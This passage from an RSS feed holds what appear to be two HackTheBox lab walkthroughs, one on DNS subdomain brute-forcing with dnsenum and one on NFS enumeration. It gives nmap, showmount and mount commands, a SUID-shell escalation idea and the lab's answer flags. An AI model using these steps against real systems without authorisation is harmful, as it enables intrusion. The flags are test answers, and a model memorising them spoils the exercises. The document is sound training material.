MX</pre><h3>Subdomains</h3><p>When exploring DNS records, we’ve primarily focused on the main domain (e.g., example.com) and its associated information. However, beneath the surface of this primary domain lies a potential network of subdomains. These subdomains are extensions of the main domain, often created to organise and separate different sections or functionalities of a website. For instance, a company might use blog.example.com for its blog, shop.example.com for its online store, or mail.example.com for its email services.</p><h4>Why is this important for web reconnaissance?</h4><p>Subdomains often host valuable information and resources that aren’t directly linked from the main website. This can include:</p><ul><li>Development and Staging Environments</li><li>Hidden Login Portals</li><li>Legacy Applications</li><li>Sensitive Information</li></ul><h4>Subdomain Enumeration</h4><h4>1. Active Subdomain Enumeration</h4><p>DNS zone transfer, brute-force enumeration, dnsenum, ffuf, gobuster</p><h4>2. Passive Subdomain Enumeration</h4><p>Certificate Transparency (CT) logs, public repositories of SSL/TLS certificates.</p><p>search engines like Google or DuckDuckGo.</p><h3>Subdomain Bruteforcing</h3><p>Subdomain Brute-Force Enumeration is a powerful active subdomain discovery technique that leverages pre-defined lists of potential subdomain names. This approach systematically tests these names against the target domain to identify valid subdomains. By using carefully crafted wordlists, you can significantly increase the efficiency and effectiveness of your subdomain discovery efforts.</p><p>There are several tools available that excel at brute-force enumeration:</p><p><a href="https://github.com/fwaeytens/dnsenum">dnsenum</a></p><p><a href="https://github.com/mschwager/fierce">fierce</a></p><p><a href="https://github.com/darkoperator/dnsrecon">dnsrecon</a></p><p><a href="https://github.com/owasp-amass/amass">amass</a>A</p><p><a href="https://github.com/tomnomnom/assetfinder">assetfinder</a></p><p><a href="https://github.com/d3mondev/puredns">puredns</a></p><h3>DNSEnum</h3><p>dnsenum is a versatile and widely-used command-line tool written in Perl. It is a comprehensive toolkit for DNS reconnaissance, providing various functionalities to gather information about a target domain&#39;s DNS infrastructure and potential subdomains. The tool offers several key functions:</p><ul><li>DNS Record Enumeration: dnsenum can retrieve various DNS records, including A, AAAA, NS, MX, and TXT records, providing a comprehensive overview of the target&#39;s DNS configuration.</li><li>Zone Transfer Attempts: The tool automatically attempts zone transfers from discovered name servers. While most servers are configured to prevent unauthorised zone transfers, a successful attempt can reveal a treasure trove of DNS information.</li><li>Subdomain Brute-Forcing: dnsenum supports brute-force enumeration of subdomains using a wordlist. This involves systematically testing potential subdomain names against the target domain to identify valid ones.</li><li>Google Scraping: The tool can scrape Google search results to find additional subdomains that might not be listed in DNS records directly.</li><li>Reverse Lookup: dnsenum can perform reverse DNS lookups to identify domains associated with a given IP address, potentially revealing other websites hosted on the same server.</li><li>WHOIS Lookups: The tool can also perform WHOIS queries to gather information about domain ownership and registration details.</li></ul><pre>dnsenum --enum inlanefreight.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r</pre><ul><li>dnsenum --enum inlanefreight.com: We specify the target domain we want to enumerate, along with a shortcut for some tuning options --enum.</li><li>-f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt: We indicate the path to the SecLists wordlist we&#39;ll use for brute-forcing. Adjust the path if your SecLists installation is different.</li><li>-r: This option enables recursive subdomain brute-forcing, meaning that if dnsenum finds a subdomain, it will then try to enumerate subdomains of that subdomain.</li></ul><p><strong>Questions: Using the known subdomains for inlanefreight.com (www, ns1, ns2, ns3, blog, support, customer), find any missing subdomains by brute-forcing possible domain names. Provide your answer with the complete subdomain, e.g., </strong><a href="http://www.inlanefreight.com./"><strong>www.inlanefreight.com.</strong></a></p><p><strong>Answer: </strong>my.inlanefreight.com</p><pre>dnsenum --enum inlanefreight.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd8f3fcf2a52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NFS Network File System — HTB]]></title>
            <link>https://medium.com/@muskanmadhur11.11/nfs-network-file-system-htb-f3654c0636fe?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3654c0636fe</guid>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[nfs-server]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Mon, 24 Mar 2025 18:05:53 GMT</pubDate>
            <atom:updated>2025-03-24T18:05:53.922Z</atom:updated>
            <content:encoded><![CDATA[<h3>NFS Network File System — HTB</h3><p>Network File System (NFS) is a network file system developed by Sun Microsystems and has the same purpose as SMB. Its purpose is to access file systems over a network as if they were local. However, it uses an entirely different protocol. <a href="https://en.wikipedia.org/wiki/Network_File_System">NFS</a> is used between Linux and Unix systems. This means that NFS clients cannot communicate directly with SMB servers. NFS is an Internet standard that governs the procedures in a distributed file system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*k0JL1kwGGH692cNaIF4vcA.png" /></figure><h3>Default Configuration</h3><p>NFS is not difficult to configure because there are not as many options as FTP or SMB have. The /etc/exports file contains a table of physical filesystems on an NFS server accessible by the clients. The <a href="http://manpages.ubuntu.com/manpages/trusty/man5/exports.5.html">NFS Exports Table</a> shows which options it accepts and thus indicates which options are available to us.</p><pre>exports - NFS server export table</pre><h4>Exports File</h4><pre>cat /etc/exports</pre><p>The default exports file also contains some examples of configuring NFS shares. First, the folder is specified and made available to others, and then the rights they will have on this NFS share are connected to a host or a subnet. Finally, additional options can be added to the hosts or subnets.</p><p>rwRead and write permissions.</p><p>roRead only permissions.</p><p>syncSynchronous data transfer. (A bit slower)</p><p>asyncAsynchronous data transfer. (A bit faster)</p><p>securePorts above 1024 will not be used.</p><p>insecurePorts above 1024 will be used.</p><p>no_subtree_checkThis option disables the checking of subdirectory trees.</p><p>root_squashAssigns all permissions to files of root UID/GID 0 to the UID/GID of anonymous, which prevents</p><p>root from accessing files on an NFS mount.</p><h4>ExportFS</h4><pre>echo &#39;/mnt/nfs  10.129.14.0/24(sync,no_subtree_check)&#39; &gt;&gt; /etc/exports<br>systemctl restart nfs-kernel-server <br>exportfs</pre><p>We have shared the folder /mnt/nfs to the subnet 10.129.14.0/24 with the setting shown above. This means that all hosts on the network will be able to mount this NFS share and inspect the contents of this folder.</p><h3>Dangerous Settings</h3><p>However, even with NFS, some settings can be dangerous for the company and its infrastructure. Here are some of them listed:</p><p>rwRead and write permissions.</p><p>insecurePorts above 1024 will be used.</p><p>nohideIf another file system was mounted below an exported directory, this directory is exported by its own exports entry.</p><p>no_root_squashAll files created by root are kept with the UID/GID 0.</p><p>We can take a look at the insecure option. This is dangerous because users can use ports above 1024. The first 1024 ports can only be used by root. This prevents the fact that no users can use sockets above port 1024 for the NFS service and interact with it.</p><p><strong>Footprinting the Service</strong></p><p>When footprinting NFS, the TCP ports 111 and 2049 are essential. We can also get information about the NFS service and the host via RPC, as shown below in the example.</p><pre>sudo nmap 10.129.14.128 -p111,2049 -sV -sC</pre><p>The rpcinfo NSE script retrieves a list of all currently running RPC services, their names and descriptions, and the ports they use. This lets us check whether the target share is connected to the network on all required ports. Also, for NFS, Nmap has some NSE scripts that can be used for the scans. These can then show us, for example, the contents of the share and its stats.</p><pre>sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049</pre><p>Once we have discovered such an NFS service, we can mount it on our local machine. For this, we can create a new empty folder to which the NFS share will be mounted. Once mounted, we can navigate it and view the contents just like our local system.</p><h4>Show Available NFS Shares</h4><pre>showmount -e 10.129.14.128</pre><h4>Mounting NFS Share</h4><pre>mkdir target-NFS<br>sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock<br>cd target-NFS<br>tree .</pre><p>There we will have the opportunity to access the rights and the usernames and groups to whom the shown and viewable files belong. Because once we have the usernames, group names, UIDs, and GUIDs, we can create them on our system and adapt them to the NFS share to view and modify the files.</p><h4>List Contents with Usernames &amp; Group Names</h4><pre>ls -l mnt/nfs/</pre><h4>List Contents with UIDs &amp; GUIDs</h4><pre>ls -n mnt/nfs/</pre><p>It is important to note that if the root_squash option is set, we cannot edit the backup.sh file even as root.</p><p>We can also use NFS for further escalation. For example, if we have access to the system via SSH and want to read files from another folder that a specific user can read, we would need to upload a shell to the NFS share that has the SUID of that user and then run the shell via the SSH user.</p><p>After we have done all the necessary steps and obtained the information we need, we can unmount the NFS share.</p><h4>Unmounting</h4><pre>cd ..<br>sudo umount ./target-NFS</pre><p><strong>Questions: Enumerate the NFS service and submit the contents of the flag.txt in the “nfs” share as the answer.</strong></p><p><strong>Answer: </strong>HTB{hjglmvtkjhlkfuhgi734zthrie7rjmdze}</p><pre>sudo nmap 10.129.202.5 -p111,2049 -sV -sC<br>sudo nmap --script nfs* 10.129.202.5 -sV -p111,2049<br>showmount -e 10.129.202.5<br>mkdir target-NFS<br>sudo mount -t nfs 10.129.202.5:/ ./target-NFS/ -o nolock<br>cd target-NFS<br>tree .<br>cd var/nfs<br>cat flag.txt</pre><p><strong>Questions : Enumerate the NFS service and submit the contents of the flag.txt in the “nfsshare” share as the answer.</strong></p><p><strong>Answer : </strong>HTB{8o7435zhtuih7fztdrzuhdhkfjcn7ghi4357ndcthzuc7rtfghu34}</p><pre>cd mnt/nfsshare/<br>cat flag.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3654c0636fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>